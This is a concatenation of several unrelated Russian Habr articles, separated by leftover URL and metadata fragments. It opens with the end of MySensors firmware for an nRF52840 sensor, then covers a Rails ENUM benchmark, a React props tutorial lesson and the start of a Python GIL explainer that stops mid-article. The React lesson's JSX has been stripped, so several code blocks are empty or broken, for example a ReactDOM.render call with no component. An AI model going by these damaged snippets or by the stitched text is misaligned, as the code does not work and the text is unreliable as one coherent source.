if (hwReadConfig(EEPROM\_NODE\_ID\_ADDRESS) == 0) {
hwWriteConfig(EEPROM\_NODE\_ID\_ADDRESS, 255);
}
if (loadState(100) == 0) {
saveState(100, 255);
}
CORE\_DEBUG(PSTR("EEPROM NODE ID: %d\n"), hwReadConfig(EEPROM\_NODE\_ID\_ADDRESS));
CORE\_DEBUG(PSTR("USER MEMORY SECTOR NODE ID: %d\n"), loadState(100));
if (hwReadConfig(EEPROM\_NODE\_ID\_ADDRESS) == 255) {
mtwr = 0;
} else {
mtwr = 10000;
no\_present();
}
CORE\_DEBUG(PSTR("MY\_TRANSPORT\_WAIT\_MS: %d\n"), mtwr);
}
void new\_device() {
hwWriteConfig(EEPROM\_NODE\_ID\_ADDRESS, 255);
saveState(100, 255);
wdt\_enable(WDTO\_15MS);
}
void config\_Happy\_node() {
if (mtwr == 0) {
myid = getNodeId();
saveState(100, myid);
mypar = \_transportConfig.parentNodeId;
old\_mypar = mypar;
master\_id = 0; // \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* master slave mode is not initialized in this example, ..stub \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
saveState(101, mypar);
saveState(102, \_transportConfig.distanceGW);
}
if (mtwr != 0) {
myid = getNodeId();
if (myid != loadState(100)) {
saveState(100, myid);
}
if (isTransportReady() == true) {
mypar = \_transportConfig.parentNodeId;
master\_id = 0; // \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* master slave mode is not initialized in this example, ..stub \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
if (mypar != loadState(101)) {
saveState(101, mypar);
}
if (\_transportConfig.distanceGW != loadState(102)) {
saveState(102, \_transportConfig.distanceGW);
}
present\_only\_parent();
}
if (isTransportReady() == false)
{
no\_present();
flag\_fcount = 1;
err\_delivery\_beat = 5;
\_transportConfig.nodeId = myid;
\_transportConfig.parentNodeId = loadState(101);
\_transportConfig.distanceGW = loadState(102);
mypar = \_transportConfig.parentNodeId;
happy\_node\_mode();
gateway\_fail();
}
}
}
void no\_present() {
\_coreConfig.presentationSent = true;
\_coreConfig.nodeRegistered = true;
}
void happy\_node\_mode() {
\_transportSM.findingParentNode = false;
\_transportSM.transportActive = true;
\_transportSM.uplinkOk = true;
\_transportSM.pingActive = false;
transportSwitchSM(stReady);
\_transportSM.failureCounter = 0;
}
void gateway\_fail() {
flag\_nogateway\_mode = 1;
flag\_update\_transport\_param = 0;
SLEEP\_TIME\_W = SLEEP\_TIME / 2;
lis2->Disable\_Wake\_Up\_Detection();
}
void find\_parent\_process() {
flag\_update\_transport\_param = 1;
flag\_find\_parent\_process = 0;
CORE\_DEBUG(PSTR("MyS: STANDART TRANSPORT MODE IS RESTORED\n"));
err\_delivery\_beat = 0;
lis2->Enable\_Wake\_Up\_Detection();
}
void update\_Happy\_transport() {
CORE\_DEBUG(PSTR("MyS: UPDATE TRANSPORT CONFIGURATION\n"));
mypar = \_transportConfig.parentNodeId;
master\_id = 0; // \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* master slave mode is not initialized in this example, ..stub \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
if (mypar != loadState(101))
{
saveState(101, mypar);
}
if (\_transportConfig.distanceGW != loadState(102))
{
saveState(102, \_transportConfig.distanceGW);
}
present\_only\_parent();
wait(50);
nosleep = 0;
flag\_update\_transport\_param = 0;
}
void present\_only\_parent() {
if (old\_mypar != mypar) {
CORE\_DEBUG(PSTR("MyS: SEND LITTLE PRESENT:) WITH PARENT ID\n"));
if (\_sendRoute(build(\_msgTmp, 0, NODE\_SENSOR\_ID, C\_INTERNAL, 6).set(mypar))) {
flag\_sendRoute\_parent = 0;
old\_mypar = mypar;
} else {
flag\_sendRoute\_parent = 1;
}
}
}
void check\_parent() {
\_transportSM.findingParentNode = true;
CORE\_DEBUG(PSTR("MyS: SEND FIND PARENT REQUEST, WAIT RESPONSE\n"));
\_sendRoute(build(\_msg, 255, NODE\_SENSOR\_ID, C\_INTERNAL, 7).set(""));
wait(1500, C\_INTERNAL, 8);
if (\_msg.sensor == 255) {
if (mGetCommand(\_msg) == 3) {
if (\_msg.type == 8) {
Ack\_FP = 1;
CORE\_DEBUG(PSTR("MyS: PARENT RESPONSE FOUND\n"));
}
}
}
if (Ack\_FP == 1) {
CORE\_DEBUG(PSTR("MyS: FIND PARENT PROCESS\n"));
Ack\_FP = 0;
transportSwitchSM(stParent);
flag\_nogateway\_mode = 0;
flag\_find\_parent\_process = 1;
SLEEP\_TIME\_W = SLEEP\_TIME;
problem\_mode\_count = 0;
} else {
\_transportSM.findingParentNode = false;
CORE\_DEBUG(PSTR("MyS: PARENT RESPONSE NOT FOUND\n"));
\_transportSM.failedUplinkTransmissions = 0;
nosleep = 0;
if (problem\_mode\_count < 24) {
CORE\_DEBUG(PSTR("PROBLEM MODE COUNTER: %d\n"), problem\_mode\_count);
problem\_mode\_count++;
SLEEP\_TIME\_W = SLEEP\_TIME / 100 \* 120;
} else if (problem\_mode\_count == 24) {
SLEEP\_TIME\_W = SLEEP\_TIME \* 30;
CORE\_DEBUG(PSTR("PROBLEM MODE COUNTER: %d\n"), problem\_mode\_count);
}
}
}
void receive(const MyMessage & message)
{
if (message.sensor == ENABLE\_WPM\_SENS\_CHILD\_ID) {
if (message.type == V\_VAR1) {
if (mGetCommand(message) == C\_SET) {
if (message.isEcho()) {
Ack\_TL = 1;
} else {
wpm\_enable = message.getBool();
saveState(240, wpm\_enable);
wait(10);
send(conf\_wpmMsg.set(wpm\_enable));
wait(50);
blinky(3, 3, GREEN\_LED);
configMode = 0;
nosleep = 0;
button\_flag = 0;
buttInt1Status = 0;
}
}
}
}
if (message.sensor == LEVEL\_SENSIV\_V\_SENS\_CHILD\_ID) {
if (message.type == V\_VAR1) {
if (mGetCommand(message) == C\_SET) {
if (message.isEcho()) {
Ack\_TL = 1;
} else {
conf\_vibro\_set = message.getByte();
vibro\_Init();
saveState(230, conf\_vibro\_set);
wait(10);
send(conf\_vsensMsg.set(conf\_vibro\_set));
wait(50);
blinky(3, 3, GREEN\_LED);
configMode = 0;
nosleep = 0;
button\_flag = 0;
buttInt1Status = 0;
}
}
}
}
if (message.sensor == INTERVAL\_R\_LUX\_CHILD\_ID) {
if (message.type == V\_VAR1) {
if (mGetCommand(message) == C\_SET) {
if (message.isEcho()) {
Ack\_TL = 1;
} else {
interval\_reading\_lux = message.getByte();
SLEEP\_TIME = SLEEP\_TIME\_TEMP \* interval\_reading\_lux;
C\_BATT\_TIME = BATT\_TIME / SLEEP\_TIME;
saveState(220, interval\_reading\_lux);
wait(10);
send(conf\_interv\_rluxMsg.set(interval\_reading\_lux));
wait(50);
blinky(3, 3, GREEN\_LED);
configMode = 0;
nosleep = 0;
button\_flag = 0;
buttInt1Status = 0;
}
}
}
}
if (message.sensor == LUX\_SENS\_CHILD\_ID) {
if (message.type == V\_LEVEL) {
if (mGetCommand(message) == C\_SET) {
if (message.isEcho()) {
Ack\_TL = 1;
}
}
}
}
if (message.sensor == V\_SENS\_CHILD\_ID) {
if (message.type == V\_TRIPPED) {
if (mGetCommand(message) == C\_SET) {
if (message.isEcho()) {
Ack\_TL = 1;
}
}
}
}
if (mGetCommand(message) == 0) {
PRESENT\_ACK = 1;
CORE\_DEBUG(PSTR("MyS: !!!ACK OF THE PRESENTATION IN THE FUNCTION RECEIVE RECEIVED!!!\n"));
}
}
```
Гитхаб проекта(дополнительные библиотеки, исходники проекта, схемы, гербер, BOM):
[github.com/smartboxchannel/EFEKTA-LIS2DW12-MAX44009-E73C](https://github.com/smartboxchannel/EFEKTA-LIS2DW12-MAX44009-E73C)
**Характеристики датчика:**
* Диапазон рабочего напряжения 2-3 В,
* 6.7мкА в режиме сна,
* 8мА в режиме работы в сети,
* E73-2G4M08S1C nRF52840,
* MAX44009 Ambient Light Sensor,
* LIS2DW12\LIS2DH12 3-axis MEMS accelerometer,
* RGB Led,
* User botton,
* Порт программирования SWD + Serial.
Ниже пример работы датчика в системе УД Majordomo, естественно работать будет в любом УД в которoм добавлена поддержка протокола MySensors, а это практически все известные.
**Видео с внутренностями платы, примером работы датчика, примером настройки**
**Фото датчика**
На этом наверное буду закруглиться.
Место где всегда с радостью помогут всем кто хочется познакомиться с MYSENSORS (установка плат, работа с микроконтроллерами nRF5 в среде Arduino IDE, советы по работе с протоколом mysensors, обсуждение проектов — телеграмм чат [@mysensors\_rus](https://tgclick.com/mysensors_rus)
Всем Добра и удачи в своих проектах!
PS/ Поделюсь ближайшими планами, скоро выйдет статья по обновленному [проекту](https://habr.com/ru/post/452532/) моего датчика температуры и влажности с экраном на электронных чернилах, наконец то теперь это законченный девайс а не модуль. Так же скоро будет статья о датчике открытия/закрытия с герконом, акселерометром и датчиком магнитного поля и энкодере на nRF52811. Фотки и видео ниже в спойлере.
**Спойлер**
 | https://habr.com/ru/post/478960/ | null | ru | null |
# Rails и полиморфные связи
В большинстве руководств по Rails, которые мне попадались в руки, в примерах по полиморфным связям есть интересная особенность выбора типа для этих связей, о которой и пойдет речь в этом посте.
В Rails полиморфными считаются связи, устанавливаемые между объектами разных типов. Предполагается, что все эти объекты разделяют некоторые общие характеристики, но имеют различные качественные представления. Полиморфные связи — один из способов реализации отношения супертип-подтип.
Рассмотрим три модели:
> `1. **class** Post **<** **ActiveRecord::Base**
> 2. has\_many **:comments**, **:as** **=>** **:resource**
> 3. **end**
> 4. **class** Image **<** **ActiveRecord::Base**
> 5. has\_many **:comments**, **:as** **=>** **:resource**
> 6. **end**
> 7. **class** Comment **<** **ActiveRecord::Base**
> 8. belongs\_to **:resource**, **:polymorphic** **=>** **true**
> 9. **end**`
Такая схема требует наличие полей resource\_type и resource\_id для модели Comment, и в руководствах по Rails стандартно определяют resource\_type как VARCHAR (255). Долгое время я не обращал на это никакого внимания, однако на днях подумал, а почему бы не сделать это поле типа **Enum ('Post','Image') NOT NULL**, ведь при известном количестве моделей, участвующих в полиморфной связи это не должно вызывать никаких проблем и работает быстрее.
Чтобы убедиться в выгоде использования ENUM я провел маленький опыт и сделал два приложения на Rails с указанными выше моделями. Для каждого приложения специальным скриптом сформировал два одинаковых набора данных следующим образом: сгенерировал по 1000 постов и картинок, затем 1 000 000 комментариев случайным образом так чтобы каждый создаваемый комментарий был случайно сопоставлен со случайным постом или картинкой. Этим я хотел добиться расположения комментариев вразнобой, хотя и был введен составной индекс (resource\_type, resource\_id).
После генерации данных провёл контрольные выборки для постов c id 100,200, …,1000 и результаты эксперимента привожу в табличке. Испытания проводились на MySQL версии 5.1.37–1ubuntu5
Небольшое пояснение к таблице:
Т1 — таблица с resource\_type VARCHAR (10) NOT NULL.
Т2 — таблица с resource\_type ENUM ('Post','Image') NOT NULL.
Колонки 3 и 5 содержат время исполнения запроса вида
SELECT \* FROM `comments` WHERE resource\_type='Post' AND resource\_id=N1;.
Колонки 4 и 6 содержат время исполнения запроса вида
SELECT \* FROM `posts` INNER JOIN comments ON `comments`.resource\_type='Post' AND `comments`.resource\_id=`posts`.id WHERE `posts`.id=N1.
N — номер опыта, N1=N\*100.
После этого я считаю, что имеет смысл использовать ENUM поля для полиморфных связей. Но пока что мне не ясно, какие есть подводные камни? Какие есть у вас соображения насчет полиморфных связей и их использования в народном хозяйстве:)? | https://habr.com/ru/post/79389/ | null | ru | null |
# Учебный курс по React, часть 9: свойства компонентов
В сегодняшней части перевода учебного курса по React мы поговорим о свойствах компонентов. Это — одна из важнейших концепций, нашедших отражение в данной библиотеке.
[](https://habr.com/company/ruvds/blog/436032/)
→ [Часть 1: обзор курса, причины популярности React, ReactDOM и JSX](https://habr.com/post/432636/)
→ [Часть 2: функциональные компоненты](https://habr.com/post/433400/)
→ [Часть 3: файлы компонентов, структура проектов](https://habr.com/post/433404/)
→ [Часть 4: родительские и дочерние компоненты](https://habr.com/company/ruvds/blog/434118/)
→ [Часть 5: начало работы над TODO-приложением, основы стилизации](https://habr.com/company/ruvds/blog/434120/)
→ [Часть 6: о некоторых особенностях курса, JSX и JavaScript](https://habr.com/company/ruvds/blog/435466/)
→ [Часть 7: встроенные стили](https://habr.com/company/ruvds/blog/435468/)
→ [Часть 8: продолжение работы над TODO-приложением, знакомство со свойствами компонентов](https://habr.com/company/ruvds/blog/435470/)
→ [Часть 9: свойства компонентов](https://habr.com/company/ruvds/blog/436032/)
→ [Часть 10: практикум по работе со свойствами компонентов и стилизации](https://habr.com/company/ruvds/blog/436890/)
→ [Часть 11: динамическое формирование разметки и метод массивов map](https://habr.com/company/ruvds/blog/436892/)
→ [Часть 12: практикум, третий этап работы над TODO-приложением](https://habr.com/company/ruvds/blog/437988/)
→ [Часть 13: компоненты, основанные на классах](https://habr.com/ru/company/ruvds/blog/437990/)
→ [Часть 14: практикум по компонентам, основанным на классах, состояние компонентов](https://habr.com/ru/company/ruvds/blog/438986/)
→ [Часть 15: практикумы по работе с состоянием компонентов](https://habr.com/ru/company/ruvds/blog/438988/)
→ [Часть 16: четвёртый этап работы над TODO-приложением, обработка событий](https://habr.com/ru/company/ruvds/blog/439982/)
→ [Часть 17: пятый этап работы над TODO-приложением, модификация состояния компонентов](https://habr.com/ru/company/ruvds/blog/439984/)
→ [Часть 18: шестой этап работы над TODO-приложением](https://habr.com/ru/company/ruvds/blog/440662/)
→ [Часть 19: методы жизненного цикла компонентов](https://habr.com/ru/company/ruvds/blog/441578/)
→ [Часть 20: первое занятие по условному рендерингу](https://habr.com/ru/company/ruvds/blog/441580/)
→ [Часть 21: второе занятие и практикум по условному рендерингу](https://habr.com/ru/company/ruvds/blog/443210/)
→ [Часть 22: седьмой этап работы над TODO-приложением, загрузка данных из внешних источников](https://habr.com/ru/company/ruvds/blog/443212/)
→ [Часть 23: первое занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/443214/)
→ [Часть 24: второе занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/444356/)
→ [Часть 25: практикум по работе с формами](https://habr.com/ru/company/ruvds/blog/446208/)
→ [Часть 26: архитектура приложений, паттерн Container/Component](https://habr.com/ru/company/ruvds/blog/446206/)
→ [Часть 27: курсовой проект](https://habr.com/ru/company/ruvds/blog/447136/)
Занятие 19. Свойства компонентов в React
----------------------------------------
→ [Оригинал](https://scrimba.com/p/p7P5Hd/cqP7bhm)
Создадим новый проект средствами `create-react-app` и изменим код нескольких стандартных файлов из папки `src`.
Вот код файла `index.js`:
```
import React from "react"
import ReactDOM from "react-dom"
import "./index.css"
import App from "./App"
ReactDOM.render(, document.getElementById("root"))
```
Вот стили, которые описаны в файле `index.css`:
```
body {
margin: 0;
}
.contacts {
display: flex;
flex-wrap: wrap;
}
.contact-card {
flex-basis: 250px;
margin: 20px;
}
.contact-card > img {
width: 100%;
height: auto;
}
.contact-card > h3 {
text-align: center;
}
.contact-card > p {
font-size: 12px;
}
```
Вот код, находящийся в файле `App.js`:
```
import React from "react"
function App() {
return (
### ▍Mr. Whiskerson
Phone: (212) 555-1234
Email: mr.whiskaz@catnap.meow
### ▍Fluffykins
Phone: (212) 555-2345
Email: fluff@me.com
### ▍Destroyer
Phone: (212) 555-3456
Email: ofworlds@yahoo.com
### ▍Felix
Phone: (212) 555-4567
Email: thecat@hotmail.com
)
}
export default App
```
Вот как будет выглядеть это приложение в браузере.
*Страница приложения в браузере*
Проанализировав код и внешний вид приложения можно прийти к выводу о том, что для вывода карточек со сведениями о животных хорошо было бы использовать особые компоненты. Сейчас эти элементы формируются средствами компонента `App`. Учитывая же то, о чём мы говорили на предыдущих занятиях, можно пойти и дальше — подумать об универсальном компоненте, который можно настраивать, передавая ему атрибуты или свойства.
В нашем приложении имеются карточки с изображениями кошек, их именами и контактными сведениями их владельцев (а может — и их самих) — телефоном и адресом электронной почты. Для того чтобы создать компонент, который в дальнейшем станет основой для всех подобных карточек, можно взять один из фрагментов разметки, возвращаемой компонентом `App`. Например — такой:
```
### ▍Mr. Whiskerson
Phone: (212) 555-1234
Email: mr.whiskaz@catnap.meow
```
App возвращает четыре подобных блока, каждый из них можно было бы использовать для создания самостоятельного компонента, но такой подход нас не устраивает. Поэтому создадим один компонент, который станет основой всех карточек, выводимых приложением. Для этого создадим в папке `src` новый файл компонента — `ContactCard.js` и поместим в него код, который возвращает первый элемент , возвращаемый компонентом `App`, код которого приведён выше. Вот каким будет код компонента `ContactCard`:
```
import React from "react"
function ContactCard() {
return (
### ▍Mr. Whiskerson
Phone: (212) 555-1234
Email: mr.whiskaz@catnap.meow
)
}
export default ContactCard
```
Ясно, что если создать несколько экземпляров этого компонента, то все они будут содержать одни и те же данные, так как эти данные жёстко заданы в коде компонента. А нам хотелось бы, чтобы, при создании разных экземпляров этого компонента, можно было бы настраивать выводимые им данные. Речь идёт о том, чтобы компоненту можно было бы передавать некие свойства, которыми он потом сможет воспользоваться.
Мы работаем с функциональными компонентами, которые представляют собой обычные JS-функции, в которых, благодаря использованию библиотеки React, можно использовать особые конструкции. Как известно, функции могут принимать аргументы, хотя их можно использовать и без аргументов. Аналогией нашего компонента `ContactCard`, в том виде, в котором он сейчас существует, может стать такая вот простая функция, которая, ничего не принимая, просто возвращает сумму двух чисел:
```
function addNumbers() {
return 1 + 1
}
```
Её можно использовать для того, чтобы узнать сумму чисел 1 и 1, но, например, для того, чтобы сложить 1 и 2, используя функции, которые не принимают никаких входных данных, нам пришлось бы писать новую функцию. Совершенно очевидно то, что такой подход приведёт к огромным неудобствам при необходимости сложения разных чисел, поэтому в подобной ситуации будет разумным создать универсальную функцию для сложения чисел, которая принимает два числа и возвращает их сумму:
```
function addNumbers(a, b) {
return a + b
}
```
То, что возвращает такая функция, будет зависеть от того, какие аргументы ей передали при вызове. Создавая React-компоненты мы можем пойти точно таким же путём.
Импортируем в файл `App.js` компонент `ContactCard` и вернём четыре его экземпляра, не удаляя пока код, который формирует карточки на странице приложения:
```
import React from "react"
import ContactCard from "./ContactCard"
function App() {
return (
### ▍Mr. Whiskerson
Phone: (212) 555-1234
Email: mr.whiskaz@catnap.meow
### ▍Fluffykins
Phone: (212) 555-2345
Email: fluff@me.com
### ▍Destroyer
Phone: (212) 555-3456
Email: ofworlds@yahoo.com
### ▍Felix
Phone: (212) 555-4567
Email: thecat@hotmail.com
)
}
export default App
```
Теперь поработаем над кодом, используемым для создания экземпляров компонента `ContactCard`. Создавая обычные HTML-элементы, мы можем настраивать их атрибуты, влияющие на их поведение и внешний вид. Имена этих атрибутов жёстко заданы стандартом. В случае с компонентами можно воспользоваться точно таким же подходом, с той только разницей, что имена атрибутов мы придумываем сами, и сами же решаем — как именно они будут использованы в коде компонента.
Каждая из карточек содержит четыре фрагмента информации, которые, от карточки к карточке, могут меняться. Это — изображение кошки и её имя, а также телефон и адрес электронной почты. Пусть имя кошки будет содержаться в свойстве `name`, адрес изображения — в свойстве `imgURL`, телефон — в свойстве `phone`, а адрес электронной почты — в свойстве `email`.
Зададим эти свойства экземплярам компонентов `ContactCard` и, по мере переноса данных из кода, который уже имеется в `App`, будем удалять соответствующие его фрагменты. В результате код компонента `App` будет выглядеть так:
```
import React from "react"
import ContactCard from "./ContactCard"
function App() {
return (
)
}
export default App
```
Правда, одной только передачи свойств компоненту недостаточно для того, чтобы они были бы в нём использованы. Страница, которая будет сформирована вышеприведённым компонентом `App`, будет содержать четыре одинаковых карточки, данные которых заданы в коде компонента `ContactCard`, который пока не знает о том, что ему делать с переданными ему свойствами.
*Данные карточек жёстко заданы в коде, компонент не умеет работать с переданными ему свойствами*
Поэтому сейчас пришло время поговорить о том, как компонент `ContactCard` может работать со свойствами, передаваемыми ему при создании его экземпляров.
Приступим к решению этой задачи, указав, при объявлении функции `ContactCard`, что она принимает параметр `props`. При этом код компонента будет выглядеть так:
```
import React from "react"
function ContactCard(props) {
return (
### ▍Mr. Whiskerson
Phone: (212) 555-1234
Email: mr.whiskaz@catnap.meow
)
}
export default ContactCard
```
На самом деле, этот параметр можно назвать как угодно, но в React принято называть его именно `props`, и те свойства, о которых мы тут говорим, часто называют просто «props».
Параметр `props` — это объект. Свойствами этого объекта являются свойства, переданные компоненту при создании его экземпляра. То есть, например, в нашем объекте `props` будет свойство `props.name`, содержащее имя кошки, переданное компоненту при создании его экземпляра. Кроме того, у него будут свойства `props.imgUrl`, `props.phone`, `props.email`. Для того чтобы в этом убедиться, добавим в начало функции `ContactCard` команду `console.log(props)`.
```
import React from "react"
function ContactCard(props) {
console.log(props)
return (
### ▍Mr. Whiskerson
Phone: (212) 555-1234
Email: mr.whiskaz@catnap.meow
)
}
export default ContactCard
```
Это позволит вывести объект `props`, получаемый компонентом, в консоль.
*Объект props в консоли*
Тут можно видеть вывод четырёх объектов из `ContactCard.js`. Их именно столько из-за того, что мы создаём четыре экземпляра компонента `ContactCard`.
Всё это даёт нам возможность использовать в коде компонента, вместо жёстко заданных значений, то, что передано ему при создании его экземпляра, доступное в виде свойств объекта `props`.
Что если мы попытаемся воспользоваться свойством `props.imgUrl` так:
```
```
На первый взгляд такая конструкция может сработать, но вспомним о том, что тут нам нужно использовать сущность из JavaScript в JSX-коде. О том, как это делается, мы говорили на одном из предыдущих занятий. А именно, в нашем случае свойство объекта нужно заключить в фигурные скобки:
```
```
Переработаем по такому же принципу другие элементы, возвращаемые компонентом, после чего его код примет следующий вид:
```
import React from "react"
function ContactCard(props) {
return (
### ▍{props.name}
Phone: {props.phone}
Email: {props.email}
)
}
export default ContactCard
```
Обратите внимание на то, что в полях для вывода телефона и адреса электронной почты мы оставили тексты `Phone:` и `Email:` с пробелами, следующими за ними, так как эти тексты используются во всех компонентах. Если теперь взглянуть на страницу приложения, то можно заметить, что она содержит четыре разных карточки.
*Страница, сформированная с использованием универсального компонента*
Наш компонент принимает всего четыре свойства. Что если некоему компоненту нужно будет, например, передать 50 свойств? Пожалуй, передавать каждое такое свойство отдельной строкой, как это сделано в компоненте `App`, будет неудобно. В таких случаях можно воспользоваться другим способом передачи свойств компонентам. Он заключается в том, что, при создании экземпляра компонента, ему передаётся не список свойств, а объект со свойствами. Вот как это может выглядеть на примере первого компонента:
```
import React from "react"
import ContactCard from "./ContactCard"
function App() {
return (
)
}
export default App
```
Нельзя сказать, что этот подход значительно сократил количество кода, используемого для описания экземпляра компонента. Дело в том, что свойства, передаваемые компоненту, всё так же жёстко заданы в коде, хотя мы и передаём компоненту лишь один объект. Преимущества этого подхода можно будет ощутить в ситуациях, когда данные для компонента получают из неких внешних источников. Например — из JSON-файла.
В ходе модификации кода компонента `App`, используемого для создания первого экземпляра компонента `ContactCard`, правильная работа приложения была нарушена. Вот как теперь будет выглядеть его страница.
*Нарушение правильной работы приложения*
Как это можно это исправить? Для того чтобы в этом разобраться, полезно будет проанализировать происходящее с помощью команды `console.log(props)`.
*Анализ объекта props*
Как видно, объект `props` первого компонента отличается от такого же объекта второго и следующих компонентов.
В компоненте `ContactCard` мы пользуемся объектом `props` исходя из предположения о том, что у него есть свойства `name`, `imgUrl` и прочие подобные. Здесь же первый компонент получает лишь одно свойство — `contact`. Это приводит к тому, что у объекта `props` оказывается лишь одно свойство — `contact`, являющееся объектом, а в коде компонента работа с подобной структурой не предусмотрена.
Перевести наш компонент на модель использования лишь одного свойства-объекта `contact`, содержащего другие свойства, довольно просто. Для этого, например, для доступа к свойству `name`, достаточно воспользоваться конструкцией вида `props.contact.name` в коде компонента. Аналогичные конструкции позволяют правильно работать с другими нужными нам свойствами.
Переработаем код компонента с учётом передачи ему единственного свойства-объекта `contact`, содержащего другие свойства:
```
import React from "react"
function ContactCard(props) {
console.log(props)
return (
### ▍{props.contact.name}
Phone: {props.contact.phone}
Email: {props.contact.email}
)
}
export default ContactCard
```
Первый компонент теперь должен будет выводиться нормально, но мы этого, на данном этапе работы над проектом, не увидим, так как система сообщит нам о множестве ошибок, связанных с тем, что несколько экземпляров компонента `ContactCard`, создаваемые в компоненте `App`, не получают свойство-объект `contact`. При выполнении кода это свойство будет иметь значение `undefined`. В результате производится попытка обратиться к некоему свойству значения `undefined`, что и приводит к возникновению ошибки. Исправим это, переработав код компонента `App`, ответственный за формирование компонентов `ContactCard`:
```
import React from "react"
import ContactCard from "./ContactCard"
function App() {
return (
)
}
export default App
```
Теперь страница приложения будет выглядеть так же, как раньше.
Как обычно, рекомендуется самостоятельно поэкспериментировать с изученными сегодня концепциями для того, чтобы лучше их усвоить. Например — можете поработать с кодом, добавить новые свойства, передаваемые компоненту, и попытаться использовать их в компоненте.
Итоги
-----
Сегодня мы познакомились с концепцией свойств, которые можно передавать компонентам React для того, чтобы управлять их поведением и внешним видом. Эти свойства напоминают атрибуты HTML-элементов, но, пользуясь свойствами в компонентах, программист самостоятельно принимает решение о том, какой смысл они несут и что именно делать с ними в компоненте. В следующий раз вас будет ждать практическое занятие по работе со свойствами компонентов и по стилизации.
**Уважаемые читатели!** Как вы экспериментировали с кодом сегодняшнего примера для того, чтобы лучше разобраться со свойствами React-компонентов? | https://habr.com/ru/post/436032/ | null | ru | null |
# Глобальная блокировка интерпретатора (GIL) и её воздействие на многопоточность в Python
Как вы, наверное, знаете, глобальная блокировка интерпретатора (GIL, Global Interpreter Lock) — это механизм, обеспечивающий, при использовании интерпретатора CPython, безопасную работу с потоками. Но из-за GIL в конкретный момент времени выполнять байт-код Python может лишь один поток операционной системы. В результате нельзя ускорить Python-код, интенсивно использующий ресурсы процессора, распределив вычислительную нагрузку по нескольким потокам. Негативное влияние GIL на производительность Python-программ, правда, на этом не заканчивается. Так, GIL создаёт дополнительную нагрузку на систему. Это замедляет многопоточные программы и, что выглядит достаточно неожиданно, может даже оказать влияние на потоки, производительность которых ограничена подсистемой ввода/вывода.
*Прим. Wunder Fund: в статье рассказано, зачем появилась и существует глобальная блокировка интерпретатора в Питоне, как она работает, и как она влияет на скорость работы Питона, а также о том, куда в будущем, вероятно, будет двигаться Питон. У нас в фонде почти всё, что не написано на плюсах — написано на Питоне, мы пристально следим за тем, куда движется язык, и если вы тоже — вы знаете, что делать )*
Здесь я опираюсь на особенности CPython 3.9. По мере развития CPython некоторые детали реализации GIL, определённо, изменятся. Материал опубликован 22 сентября 2021 года, после публикации в него внесено несколько дополнений.
### Потоки операционной системы, потоки Python и GIL
Для начала давайте вспомним о том, что такое потоки Python, и о том, как в Python устроена многопоточность. Когда запускают исполняемый файл `python` — ОС создаёт новый процесс с одним вычислительным потоком, который называется главным потоком. Как и в случае с любой другой С-программой, главный поток начинает выполнение программы `python` с входа в её функцию `main()`. Следующие действия главного потока могут быть сведены к трём шагам:
1. [Инициализация интерпретатора](https://tenthousandmeters.com/blog/python-behind-the-scenes-3-stepping-through-the-cpython-source-code/).
2. [Компиляция Python-кода в байт-код](https://tenthousandmeters.com/blog/python-behind-the-scenes-2-how-the-cpython-compiler-works/).
3. [Вход в вычислительный цикл для выполнения байт-кода](https://tenthousandmeters.com/blog/python-behind-the-scenes-4-how-python-bytecode-is-executed/).
Главный поток — это обычный поток операционной системы, который выполняет скомпилированный C-код. Состояние этого потока включает в себя значения регистров процессора и стек вызова C-функций. А Python-поток должен обладать сведениями о стеке вызовов Python-функций, об исключениях, и о других вещах, имеющих отношение к Python. Для того чтобы всё так и было, CPython помещает всё это в [структуру](https://github.com/python/cpython/blob/5d28bb699a305135a220a97ac52e90d9344a3004/Include/cpython/pystate.h#L51), предназначенную для хранения состояния потока, и связывает состояние Python-потока с потоком операционной системы. Другими словами: `Python-поток = Поток ОС + Состояние Python-потока`.
Вычислительный цикл — это бесконечный цикл, который содержит оператор `switch` огромных размеров, умеющий реагировать на все возможные инструкции, встречающиеся в байт-коде. Для входа в этот цикл поток должен удерживать глобальную блокировку интерпретатора. Главный поток захватывает GIL в ходе инициализации, поэтому он может свободно войти в этот цикл. Когда он входит в цикл — он просто начинает, одну за другой, выполнять инструкции байт-кода, задействуя оператор `switch`.
Время от времени потоку нужно приостановить исполнение байт-кода. Поток, в начале каждой итерации вычислительного цикла, проверяет, имеются ли какие-нибудь причины для остановки выполнения байт-кода. Нам интересна одна из таких причин, которая заключается в том, что другой поток хочет захватить GIL. Вот как это всё реализовано в коде:
```
PyObject*
_PyEval_EvalFrameDefault(PyThreadState *tstate, PyFrameObject *f, int throwflag)
{
// ... объявление локальных переменных и другие скучные дела
// вычислительный цикл
for (;;) {
// eval_breaker сообщает нам о том, нужно ли приостановить выполнение байт-кода
// например, если другой поток запросил GIL
if (_Py_atomic_load_relaxed(eval_breaker)) {
// eval_frame_handle_pending() приостанавливает выполнение байт-кода
// например, когда другой поток запрашивает GIL,
// эта функция освобождает GIL и снова ожидает доступности GIL
if (eval_frame_handle_pending(tstate) != 0) {
goto error;
}
}
// получить следующую инструкцию байт-кода
NEXTOPARG();
switch (opcode) {
case TARGET(NOP) {
FAST_DISPATCH(); // следующая итерация
}
case TARGET(LOAD_FAST) {
// ... код для загрузки локальной переменной
FAST_DISPATCH(); // следующая итерация
}
// ... ещё 117 блоков case, соответствующих всем возможным кодам операций
}
// ... обработка ошибок
}
// ... завершение
}
```
В однопоточной Python-программе главный поток — это ещё и единственный поток. Он никогда не освобождает глобальную блокировку интерпретатора. А что же происходит в многопоточных программах? Воспользуемся стандартным модулем [threading](https://docs.python.org/3/library/threading.html) для создания нового Python-потока:
```
import threading
def f(a, b, c):
# делаем что-нибудь
pass
t = threading.Thread(target=f, args=(1, 2), kwargs={'c': 3})
t.start()
```
